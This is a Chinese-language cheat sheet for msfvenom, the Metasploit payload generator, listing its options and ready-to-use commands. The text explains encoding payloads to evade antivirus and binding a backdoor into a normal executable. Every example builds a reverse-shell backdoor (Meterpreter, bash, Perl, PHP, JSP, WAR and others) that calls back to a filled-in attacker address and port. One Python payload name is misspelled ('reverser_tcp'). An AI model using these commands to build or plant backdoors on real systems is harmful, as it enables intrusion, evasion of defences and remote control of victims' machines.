Msfvenom命令總結大全
1. –p (- -payload-options)
添加載荷payload。
載荷這個東西比較多,這個軟件就是根據對應的載荷payload生成對應平臺下的後門,所以只有選對payload,再填寫正確自己的IP,PORT就可以生成對應語言,對應平臺的後門了!!!
(- -payload-options 列出payload選項)
2. –l
查看所有payload encoder nops。
3. –f (- -help-formats)
輸出文件格式。
(- -help-formats 列出所有文件格式)
Executable formats:
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
4. –e
編碼免殺。
5. –a (- -platform – -help-platforms)
選擇架構平臺
x86 | x64 | x86_64
Platforms:
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
6. –o
文件輸出。
7. –s
生成payload的最大長度,就是文件大小。
8. –b
避免使用的字符 例如:不使用 ‘\0f’。
9. –i
編碼次數。
10. –c
添加自己的shellcode。
11. –x | -k
捆綁。例如:原先有個正常文件normal.exe 可以通過這個選項把後門捆綁到這個程序上面。
MSFVENOM實例
12. 普通生成
msfvenom -p <payload> <payload options> -f <format> -o <path>
msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe
13. 編碼處理型
msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path> msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
14. 捆綁
Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe
15. Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
16. Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
17. MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
18. PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
19. Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
20. Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
21. JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
22. War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
23. Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh
24. Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
25. Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Msfvenom命令總結大全